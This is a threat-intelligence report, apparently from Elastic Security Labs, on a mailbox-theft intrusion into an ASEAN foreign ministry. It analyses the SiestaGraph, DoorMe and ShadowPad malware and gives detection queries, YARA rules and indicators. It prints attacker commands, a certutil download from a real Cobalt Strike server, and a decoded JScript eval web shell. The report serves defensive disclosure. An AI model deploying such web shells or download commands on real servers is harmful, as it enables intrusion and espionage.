SiestaGraph: New implant uncovered in ASEAN member foreign ministry

Elastic Security Labs is tracking an active intrusion, by likely multiple threat actors, into the Foreign Affairs office of an ASEAN member.

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Key takeaways

  • Likely multiple threat actors are accessing and performing live on-net operations against the Foreign Affairs Office of an ASEAN member using a likely vulnerable, and internet-connected, Microsoft Exchange server. Once access was achieved and secured, the mailboxes of targeted individuals were exported.
  • Threat actors deployed a custom malware backdoor that leverages the Microsoft Graph API for command and control, which we’re naming SiestaGraph.
  • A modified version of an IIS backdoor called DoorMe was leveraged with new functionality to allocate shellcode and load additional implants.

Preamble

In early December, Elastic Security Labs observed Powershell commands used to collect and export mailboxes from an internet-connected Microsoft Exchange server for the Foreign Affairs Office of an Association of Southeast Asian Nations (ASEAN) member.

In spite of diverse security instrumentation observed during this activity, the threat actors were able to achieve:

  • The execution of malware on Exchange Servers, Domain Controllers, and workstations
  • Exfiltration of targeted user and group mailboxes
  • Deploy web shells
  • Move laterally to user workstations
  • Perform internal reconnaissance
  • Collect Windows credentials

Because the intrusion is ongoing and covers almost the entire MITRE ATT&CK framework, the analysis sections will use a timeline approach.

Additional information on SIESTAGRAPH, DOORME, and SHADOWPAD

For a deep dive analysis of the SIESTAGRAPH, DOORME, or SHADOWPAD malware families, check out our follow on publication that covers those in detail. In addition, there are associations between this campaign and others based on other observations and 3rd party reporting.

Updated: 2/2/2023

Analysis

The investigation, which we’re tracking as REF2924, began with the execution of a Powershell command used to export a user mailbox. While this is a normal administrative function, the commands were executed with a process ancestry starting with the IIS Worker Process (w3wp.exe) as a parent process of cmd.exe, and cmd.exe executing Powershell.

These events started the investigation that later identified multiple threat actors within the contested network environment.

The first events observed from this cluster of activity were on November 26, 2022, with the detection of a malicious file execution on a Domain Controller. Because of this, it is likely Elastic Defend was deployed post-initial compromise and was deployed in “Detect” mode. Throughout our analysis, we observed other security instrumentation tools in the environment indicating the victim was aware of the intrusion and trying to evict the threat actors.

Because of the multiple malware samples achieving similar goals, various DLL sideloading observations, and the presence of a likely internet-connected Exchange server; we believe that there are multiple threat actors or threat groups working independently or in tandem with each other.

November 26–30, 2022

Malware execution

The earliest known evidence of compromise occurred on November 26, 2022, with the execution of a file called OfficeClient.exe executed from C:\ProgramData\Microsoft\ on a Domain Controller. 

10-minutes after OfficeClient.exe was executed on the Domain Controller, another malicious file was executed on another Windows 2019 server. This file was called Officeclient.exe and executed from c:\windows\pla\. On November 28, 2022, officeup.exe was executed on this same Windows 2019 server from C:\programdata\.

On November 29, 2022, the OfficeClient.exe file was executed on an Exchange server as C:\ProgramData\OfficeCore.exe

All three of these files (OfficeClient.exe, Officeclient.exe, and OfficeCore.exe) have an original PE file name of windowss.exe, which is the file name assigned at compile time. We are naming this malware family “SiestaGraph” because of the long sleep timer and the way that the malware uses the Microsoft Graph API for command and control.

As of December 8, 2022, we observed a variant of SiestaGraph in VirusTotal, uploaded from the Netherlands on October 14, 2022. SiestaGraph makes use of a .NET API library that functions as an alternative to using Microsoft Graph, which is an API to interact with Microsoft cloud, including Microsoft 365, Windows, and Enterprise Mobility + Security.

Internal reconnaissance

On November 28, 2022, the threat actor began performing internal reconnaissance by issuing standard commands such as whoami, hostname, tasklist, etc. These commands were executed with a process ancestry starting with the IIS Worker Process (w3wp.exe) as a parent process of cmd.exe, and cmd.exe executing the commands.

cmd.exe /c cd /d C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources"&whoami

cmd.exe /c cd /d C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources"&hostname

cmd.exe /c cd /d C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources"&tasklist

Additional adversary reconnaissance was performed to enumerate local network assets as well as victim assets at embassies and consulates abroad. There has been no indication that this information has been subsequently exploited for additional access or information at this time.


On November 29, 2022, the threat actor began collecting domain user and group information with the net user and net group commands, again issued as child processes of w3wp.exe and cmd.exe. These commands confirmed that this was not an entirely scripted campaign and included an active operator by the fact that they forgot to add the /domain syntax to two of the 20 net user commands. While the net user command does not require the /domain syntax, the fact that this was only on two of the 20 occurrences, it was likely an oversight by the operator. This was the first of multiple typographical errors observed throughout this campaign.

Example of a typographical error (“yupe” instead of “type”) showing an active operator

Exporting Exchange mailboxes

On November 28, 2022, the threat actor started to export user mailboxes, again using the w3wp.exe process as a parent for cmd.exe, and finally Powershell. The threat actor added the Microsoft.Exchange.Management.PowerShell.SnapIn module. This module provides the ability to manage Exchange functions using Powershell and was used to export the mailboxes of targeted Foreign Service Officers and saved them as PST files.

Abnormal process spawned from IIS Worker

In the above example, the Received -gt and Sent -gt dates timebox the collection window as all emails sent and received after (gt is an acronym for “greater than”) November 15, 2022. The timeboxing was not uniform across all mailboxes and this process was repeated multiple times. Again, in the above example from November 28, 2022, the timebox was for all sent and received emails from November 15, 2022, to the current date (November 28, 2022); on December 6, 2022, the mailbox was exported again, this time with a gt value of November 28, 2022, which was the date of the last export.


In another example in this phase, the threat actors targeted a mailbox called csirt. While this is unconfirmed, “csirt” is commonly an acronym for Cyber Security Incident Response Team.

CSIRT mailbox exported

Taking into consideration the timebox used on the csirt export, if this is the industry standard acronym of CSIRT, the intrusion could have started as early as September 1, 2022, and the threat actors were monitoring the CSIRT to identify if their intrusion had been detected.

Throughout this phase, a total of 24 mailboxes were exported.

Once the mailboxes were exported, the threat actor created a 7zip archive called 7.tmp with a password of huebfkaudfbaksidfabsdf.

Creating password-protected Zip archive

Three of the mailboxes, one of which being the csirt mailbox, were archived individually. These three mailboxes were archived with a .log.rar or .log file extension.

Targeted mailboxes archived individually (partially obfuscated as two PST files have user initials)

Finally, the threat actor created a 200m 7zip archive called o.7z and added the previously created, password-protected, 7.tmp archive to it.

o.7z created from 7.tmp

IIS backdoor module

On November 28, 2022, we observed the loading of two DLL files, Microsoft.Exchange.Entities.Content.dll and iisrehv.dll through the execution of the iissvcs services using svchost.exe. Both Microsoft.Exchange.Entities.Content.dll and iisrehv.dll were loaded using the iissvcs module of the Windows Service Host through the execution of C:\Windows\system32\svchost.exe -k iissvcs. These malicious IIS modules are loosely based on the DoorMe IIS backdoor.

DoorMe strings embedded in IIS backdoor module
Overview of IIS modules

For context, IIS is web server software developed by Microsoft and used within the Windows ecosystem to host websites and server-side applications. Starting on version 7.0, Microsoft extended IIS by adding a modular architecture that allows individual modules to be added or removed in order to achieve functionality depending on an environment’s needs. These modules represent individual features that the server can then use to process incoming requests.

During the post-compromise stage, the adversary used the malicious IIS module as a passive backdoor monitoring all incoming HTTP requests. Depending on a tailor-made request by the operator, the malware will activate and process commands. This approach can be challenging for organizations as there is usually low visibility in terms of monitoring and a lack of prevention capabilities on these types of endpoints. In order to install this backdoor, it requires administrator rights and for the module to be placed inside the %windir%\System32\inetsrv directory, based on the observed artifacts we believe initial access was gained through server exploitation from a recent wave of Microsoft Exchange RCE exploit usage.


The malicious module (C++ DLL) is first loaded through its export, RegisterModule. This function is responsible for setting up the event handler methods and dynamically resolving API libraries for future usage. The main functionality of the backdoor is implemented using the CGlobalModule class under the event handler OnGlobalPreBeginRequest. By overriding this event handler, the malware is loaded before a request enters the pipeline. The core functionality of the backdoor all exists in this function, including cookie validation, parsing commands, and calling underlying command functions.

Class methods including malicious OnGlobalPreBeginRequest method

The malware implements an authentication mechanism based on a specific cookie name that contains the authentication key. This malicious IIS module checks for every incoming HTTP request for the specified cookie name, and it returns a success message in case of a GET request. The GET request is used as a way to test the backdoor’s status for the operator, and it also returns back the username and hostname of the impacted machine. Commands can be passed to the backdoor through POST requests as data.

GET HTTP request with the authentication cookie

Throughout our analysis, we discovered old samples on VirusTotal relating to this backdoor. Although they have the same authentication and logic, they implement different functionalities. The cookie name used for authentication was also changed alongside the handled commands.

This observed backdoor implements four different commands, and the symbol PIPE is used to separate the command ID and its arguments.


IDParameterDescription
0x42Expects the string GenBeaconOptionsGenerates a unique Globally Unique Identifier used to identify the infected machine and send it to the attacker
0x43Shellcode blobExecute the shellcode blob passed as a parameter in the current process
0x44N/AWrite and Read from a specified named pipe
0x63Shellcode blob in chunksSimilar to command ID: 0x43, this command can receive a blob of shellcode in chunks when fully received

From our analysis, it appears that this simplistic backdoor is used as a stage loader. It uses NT Windows APIs, mainly NtAllocateVirtualMemoryNtProtectVirtualMemory, and NtCreateThreadEx, to allocate the required shellcode memory and to create the executing thread.

kk2.exe

On November 30, 2022, an unknown binary called kk2.exe was executed on an Exchange server. While we have been unable to collect kk2.exe as of this writing, we can see that it was used to load a vulnerable driver that can be used to monitor and terminate processes from kernel mode, mhyprot.sys. It is unclear if mhyprot.sys is downloaded, or embedded into, kk2.exe.

kk2.exe loading the vulnerable mhyprot.sys driver

mhyprot.sys was detected by Elastic’s open code Windows.VulnDriver.Mhyprot YARA rule, released in August 2022.

Vulnerable driver attacks

For more information on how vulnerable drivers are used for intrusions, check out the Stopping Vulnerable Driver Attacks research Joe Desimone published in September 2022.

As stated previously, we could not collect kk2.exe for analysis but it is likely that it used mhyprot.sys to escalate to kernel mode as a way to monitor, and if necessary, terminate processes. This could be used as a way of protecting an implant, or entire intrusion, from detection.

Web shells

The following section highlights multiple attempts by the threat actors to install a web shell as a back door into the environment if they are evicted. While speculative in nature, it appears that most of these attempts to load web shells failed. It is unclear what the reasons for the failures are. We’ll not cover every attempt at loading a web shell, as several of them were very similar, but we’ll highlight the shifts in approaches.


The first attempt was to use the Microsoft certutil tool to download an Active Server Pages (ASPX) file (config.aspx) from a remote host (185.239.70[.]229) and save it as the error.aspx page on the Exchange Control Panel’s webserver. Because this IP address is a known Cobalt Strike server, it may have been blocked by network defense architecture, leading to further attempts to overwrite error.aspx.

Attempt to overwrite error.aspx with config.aspx from a known Cobalt Strike server

After attempting to use config.aspx from a Cobalt Strike C2 server, the threat actors attempted to insert Base64 encoded Javascript into a text file (1.txt), use certutil to decode the Base64 encoded Javascript (2.aspx), and then overwrite error.aspx with 2.aspx. This was attempted on both the Exchange Control Panel and Outlook Web Access web servers.

Attempt to overwrite error.aspx with Javascript file

The Base64 encoded string decoded into the following Javascript:

<%@ Page Language="Jscript" Debug=true%>
<%
var TNKY='nHsXLMPUSCABolxOgKWuIFeGVimhEjyzQrTvRcwafZdJDktqYpbN';
var ZZXG=Request.Form("daad");
var VAXN=TNKY(7) + TNKY(0) + TNKY(2) + TNKY(10) + TNKY(21) + TNKY(22);
eval(ZZXG, VAXN);
%

The preceding code is a simple web shell leveraging the eval Method to evaluate JScript code sent through the POST parameter daad. Variations of this technique were attempted multiple times. Other attempts were observed to load obfuscated versions of the China Chopper and Godzilla web shells.

December 1–4, 2022

DLL side-loading

On December 2, 2022, on two Domain Controllers, we observed a new DLL (log.dll) being side loaded by a legitimate, but an 11-year-old, version of the Bitdefender Crash Handler executable (compiled name: BDReinit.exe), 13802 AR.exe. Once executed, it will move to the C:\ProgramData\OfficeDriver\ directory, rename itself svchost.exe, and install itself as a service.

Once log.dll is loaded, it will spawn the Microsoft Windows Media Player (wmplayer.exe) and dllhost.exe and injects into them which triggers a memory shellcode detection. 

Updated 2/2/2023: In our updated research into SIESTAGRAPH, DOORME, and SHADOWPAD, we identify log.dll as part of the SHADOWPAD malware family.

On December 2, 2022, another unknown DLL, Loader.any, was interactively executed with an Administrative account using rundll32.exe. Loader.any was observed executing two times on a Domain Controller and was then deleted interactively.

On December 3, 2022, we observed another malicious file, APerfectDayBase.dll. While this is a known malicious file, the execution was not observed. APerfectDayBase.dll is the legitimate name of a DLL in the import table of a benign-looking program, AlarmClock.exe.

Import table for AlarmClock.exe

This naming appears to be an attempt to make the malicious DLL look legitimate and likely to leverage AlarmClock.exe as a side-loading target. Testing has confirmed that the DLL can be side-loaded with AlarmClock.exe. While not malicious, we are including the hash for AlarmClock.exe in the Indicators table as its presence could be used purely as a side-loading vehicle for malicious DLL, APerfectDayBase.dll.

Victimology and targeting motivations

Victimology

The victim is the foreign ministry of a nation in Southeast Asia. The threat actor appeared to focus priority intelligence collection efforts on personnel and positions of authority related to the victim's relationship with ASEAN (Association of Southeast Asian Nations). 


ASEAN is a regional partnership union founded in 1967 to promote intergovernmental cooperation among member states. This has been expressed through economic, security, trade, and educational cooperation with expanding international and domestic significance for partner nations. The union itself has expanded to 10 member countries with 2 more currently seeking accession. It is exerting this international influence over the development of a Regional Comprehensive Economic Partnership trade agreement with a broader periphery of member nations (16 members and 2 applicants).

ASEAN and RCEP member countries

Below is a list of the targeted users, the collection window(s) in which their mailboxes were exported, and the date their mailboxes were exported.

UserCollection WindowCollection Date(s)
User 111/1/2022 - 11/28/2022
11/29/2022 - 12/6/2022
11/28/2022
12/6/2022
User 211/1/2022 - 11/28/202211/28/2022
User 311/1/2022 - 11/28/202211/28/2022
User 411/15/2022 - 11/28/202211/28/2022
User 511/15/2022 - 11/28/2022
11/29/2022 - 12/6/2022
11/28/2022
12/6/2022
User 611/15/2022 - 11/28/202211/28/2022
User 711/15/2022 - 11/28/2022
11/29/2022 - 12/6/2022
11/28/2022
12/6/2022
User 811/15/2022 - 11/28/202211/28/2022
User 911/15/2022 - 11/28/202211/28/2022
User 109/15/2022 - 11/29/202211/29/2022
User 119/15/2022 - 11/29/202211/29/2022
User 129/15/2022 - 11/29/202211/29/2022
User 139/1/2022 - 11/30/202211/30/2022
User 149/1/2022 - 11/30/202211/30/2022
User 1511/29/2022 - 12/6/202212/6/2022
User 1611/29/2022 - 12/6/202212/6/2022
User 1711/29/2022 - 12/6/202212/6/2022
User 1811/29/2022 - 12/6/202212/6/2022
User 1911/29/2022 - 12/6/202212/6/2022
User 2011/29/2022 - 12/6/202212/6/2022
User 2111/29/2022 - 12/6/202212/6/2022
User 2211/29/2022 - 12/6/202212/6/2022
User 2311/29/2022 - 12/6/202212/6/2022
User 2411/29/2022 - 12/6/202212/6/2022

As reflected above, we observed Users 1, 5, and 7 targeted twice each indicating that the contents of their mailboxes were of particular interest. This could be the result of pre-intrusion reconnaissance or once the initial traunch of mailboxes was reviewed by the threat actor, they decided to continue collecting on those users.

Targeting motivation

There is no indication this victim would provide any direct monetary benefit to an adversary. The attack appears to be motivated by the purpose of diplomatic intelligence gathering. There are a number of potential adversaries who would find a nation’s confidential diplomatic communications related to ASEAN, and by extension the RCEP, to be highly advantageous in furthering their own regional influence, national security, and domestic goals.

If the threat actor is excluded from ASEAN trade unions and depends on foreign aid from members of those trade unions, it could find confidential diplomatic information specifically related to ASEAN useful for negotiating or renegotiating trade agreements.

ASEAN member nations are rival claimants to territorial disputes in the South China Sea (SCS). ASEAN as an organization has not produced a unified front in the SCS dispute, with some members preferring direct nation-to-nation negotiations and some wanting ASEAN to negotiate as a whole. Diplomatic information from ASEAN member nations might provide the threat actor with useful information to influence decisions and negotiations around the SCS. The threat actor's interest in ASEAN and any individual member would almost certainly be multifaceted covering government functions from immigration to agriculture, to technology, to sociopolitical considerations such as human rights.

Detection logic

Hunting queries

The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.

KQL query

Using the Discover app in Kibana, the below query will identify loaded IIS modules that have been identified as malicious by Elastic Defend (even if Elastic Defend is in “Detect Only” mode).

The proceeding and preceding wildcards (*) can be an expensive search over a large number of events.

event.code : “malicious_file” and event.action : "load" and process.name : “w3wp.exe” and process.command_line.wildcard : (*MSExchange* or *SharePoint*) 

EQL queries

Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors similar to the SiestaGraph backdoor and the observed DLL side-loading patterns.

# Hunt for DLL Sideloading using the observed DLLs:

library where 
 dll.code_signature.exists == false and 
 process.code_signature.trusted == true and 
 dll.name : ("log.dll", "APerfectDayBase.dll") and 
 process.executable : 
           ("?:\\Windows\\Tasks\\*", 
            "?:\\Users\\*", 
            "?:\\ProgramData\\*")

# Hunt for scheduled task or service from a suspicious path:

process where event.type == "start" and 
 process.executable : ("?:\\Windows\\Tasks\\*", "?:\\Users\\Public\\*", "?:\\ProgramData\\Microsoft\\*") and 
 (process.parent.args : "Schedule" or process.parent.name : "services.exe")

# Hunt for the SiestaGraph compiled file name and running as a scheduled task:

process where event.type == "start" and 
 process.pe.original_file_name : "windowss.exe" and not process.name : "windowss.exe" and process.parent.args : "Schedule"

# Hunt for unsigned executable using Microsoft Graph API:

network where event.action == "lookup_result" and 
 dns.question.name : "graph.microsoft.com" and process.code_signature.exists == falseRead more

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the SiestaGraph malware implant and the DoorMe IIS backdoor.

rule Windows_Trojan_DoorMe {
    meta:
        author = "Elastic Security"
        creation_date = "2022-12-09"
        last_modified = "2022-12-15"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "DoorMe"
        threat_name = "Windows.Trojan.DoorMe"
        reference_sample = "96b226e1dcfb8ea2155c2fa508125472c8c767569d009a881ab4c39453e4fe7f"
    strings:
        $seq_aes_crypto = { 8B 6C 24 ?? C1 E5 ?? 8B 5C 24 ?? 8D 34 9D ?? ?? ?? ?? 0F B6 04 31 32 44 24 ?? 88 04 29 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 32 44 24 ?? 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 F8 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 E0 88 44 29 ?? 8B 74 24 ?? }
        $seq_copy_str = { 48 8B 44 24 ?? 48 89 58 ?? 48 89 F1 4C 89 F2 49 89 D8 E8 ?? ?? ?? ?? C6 04 1E ?? }
        $seq_md5 = { 89 F8 44 21 C8 44 89 C9 F7 D1 21 F1 44 01 C0 01 C8 44 8B AC 24 ?? ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 44 89 44 24 ?? 46 8D 04 28 41 81 C0 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 41 C1 C0 ?? 45 01 C8 44 89 C1 44 21 C9 44 89 C2 F7 D2 21 FA 48 89 BC 24 ?? ?? ?? ?? 8D 2C 1E 49 89 DC 01 D5 01 E9 81 C1 ?? ?? ?? ?? C1 C1 ?? 44 01 C1 89 CA 44 21 C2 89 CD F7 D5 44 21 CD 8B 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 8D 1C 07 01 EB 01 DA 81 C2 ?? ?? ?? ?? C1 C2 ?? }
        $seq_calc_key = { 31 FF 48 8D 1D ?? ?? ?? ?? 48 83 FF ?? 4C 89 F8 77 ?? 41 0F B6 34 3E 48 89 F1 48 C1 E9 ?? 44 0F B6 04 19 BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 E6 ?? 44 0F B6 04 1E BA ?? ?? ?? ?? 48 8B 4D ?? E8 ?? ?? ?? ?? 48 83 C7 ?? }
        $seq_base64 = { 8A 45 ?? 8A 4D ?? C0 E0 ?? 89 CA C0 EA ?? 80 E2 ?? 08 C2 88 55 ?? C0 E1 ?? 8A 45 ?? C0 E8 ?? 24 ?? 08 C8 88 45 ?? 41 83 C4 ?? 31 F6 44 39 E6 7D ?? 66 90 }
        $str_0 = ".?AVDoorme@@" ascii fullword
    condition:
        3 of ($seq*) or 1 of ($str*)
}

rule Windows_Trojan_SiestaGraph {
    meta:
        author = "Elastic Security"
        creation_date = "2022-12-14"
        last_modified = "2022-12-15"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "SiestaGraph"
        threat_name = "Windows.Trojan.SiestaGraph"
        reference_sample = "50c2f1bb99d742d8ae0ad7c049362b0e62d2d219b610dcf25ba50c303ccfef54"
    strings:
        $a1 = "downloadAsync" ascii nocase fullword
        $a2 = "UploadxAsync" ascii nocase fullword
        $a3 = "GetAllDriveRootChildren" ascii fullword
        $a4 = "GetDriveRoot" ascii fullword
        $a5 = "sendsession" wide fullword
        $b1 = "ListDrives" wide fullword
        $b2 = "Del OK" wide fullword
        $b3 = "createEmailDraft" ascii fullword
        $b4 = "delMail" ascii fullword
    condition:
        all of ($a*) and 2 of ($b*)
}Read more

Observed adversary tactics and techniques

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Observables

All observables are also available for download in both ECS and STIX format in a combined zip bundle.

The following observables were discussed in this research.

IndicatorTypeNameReference
1a87e1b41341ad042711faa0c601e7b238a47fa647c325f66b1c8c7b313c8bdfSHA-256OfficeClient.exe and OfficeCore.exeSIESTAGRAPH
7fc54a287c08cde70fe860f7c65ff71ade24dfeedafdfea62a8a6ee57cc91950SHA-256Officeclient.exeSIESTAGRAPH
f9b2b3f7ee55014cc8ad696263b24a21ebd3a043ed1255ac4ab6a63ad4851094SHA-256officeup.exeSIESTAGRAPH
c283ceb230c6796d8c4d180d51f30e764ec82cfca0dfaa80ee17bb4fdf89c3e0SHA-256Microsoft.Exchange.Entities.Content.dllDOORME
4b7d244883c762c52a0632b186562ece7324881a8e593418262243a5d86a274dSHA-256iisrehv.dllDOORME
54f969ce5c4be11df293db600df57debcb0bf27ecad38ba60d0e44d4439c39b6SHA-256kk2.exemhyprot.sys loader
509628b6d16d2428031311d7bd2add8d5f5160e9ecc0cd909f1e82bbbb3234d6SHA-256mhyprot.sysvulnerable driver
386eb7aa33c76ce671d6685f79512597f1fab28ea46c8ec7d89e58340081e2bdSHA-25613802 AR.exeBDReinit.exevulnerable Bitdefender Crash Handler
452b08d6d2aa673fb6ccc4af6cebdcb12b5df8722f4d70d1c3491479e7b39c05SHA-256log.dllSHADOWPAD
5be0045a2c86c38714ada4084080210ced8bc5b6865aef1cca658b263ff696dcSHA-256APerfectDayBase.dllmalicious DLL injected into vulnerable binaries
3f5377590689bd19c8dd0a9d46f30856c90d4ee1c03a68385973188b44cc9ab7SHA-256AlarmClock.exebenign, but targeted for side-loading APerfectDayBase.dll
f2a9ee6dd4d1ceb4d97138755c919549549311c06859f236fc8655cf38fe5653SHA-256Loader.anycurrently unknown DLL
3b41c46824b78263d11b1c8d39cfe8c0e140f27c20612d954b133ffb110d206aSHA-256Loader.anycurrently unknown DLL
9b66cd1a80727882cfa1303ada37019086c882c9543b3f957ee3906440dc8276SHA-256Class1.execurrently unknown file
185.239.70.229ipv4naCobalt Strike C2
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